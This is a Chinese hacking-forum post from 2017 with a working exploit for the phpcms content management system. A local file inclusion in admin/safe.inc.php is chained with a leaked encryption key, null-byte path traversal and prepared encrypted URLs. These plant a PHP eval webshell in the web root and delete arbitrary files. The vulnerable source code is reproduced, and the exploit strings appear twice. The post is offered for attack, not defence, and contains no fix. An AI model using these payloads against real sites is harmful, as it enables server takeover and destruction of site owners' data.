黑帽联盟

标题: phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞 [打印本页]

作者: yun    时间: 2017-4-13 05:45
标题: phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞
phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。

由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。

admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。

公布一个本地包含秒杀拿shell的方法。

包含:admin/safe.inc.php文件GET提交一下数据
将在根目录下生成一句话
用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';
加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
将在根目录下生成一句话木马

同理任意文件删除漏洞:
$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==

贴上存在漏洞的代码://admin/safe.inc.php
  1. <?php

  2. defined('IN_PHPCMS') or exit('Access Denied');

  3. // include/common.inc.php 里面声明了常量

  4. // define('IN_PHPCMS', TRUE);

  5. if(empty($action)) $action = "start";

  6. $safe = cache_read('safe.php');

  7. $filecheck = load('filecheck.class.php');

  8. if(empty($safe))

  9. {

  10. $safe = array (

  11. 'file_type' => 'php|js',

  12. 'code' => '',

  13. 'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',

  14. 'dir' => $filecheck->checked_dirs()

  15. );


  16. }

  17. switch ($action)
  18. {
  19. ...

  20. case 'edit_code':

  21. if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))
  22. {

  23. showmessage('修改成功!');

  24. }
  25. break;

  26. case 'del_file':

  27. $file_path = urldecode($files);

  28. if (empty($file_path))
  29. {
  30. showmessage('请选择文件');
  31. }
  32. $file_list = cache_read('scan_backdoor.php');

  33. unset($file_list[$file_path]);

  34. cache_write('scan_backdoor.php',$file_list);

  35. @unlink(PHPCMS_ROOT.$file_path)

  36. showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');

  37. break;

  38. ...
复制代码
漏洞证明:
将在根目录下生成一句话

用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';

加密如下字符串

$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=

将在根目录下生成一句话木马


同理任意文件删除漏洞:

$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';

http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==







欢迎光临 黑帽联盟 (https://bbs.cnblackhat.com/) Powered by Discuz! X2.5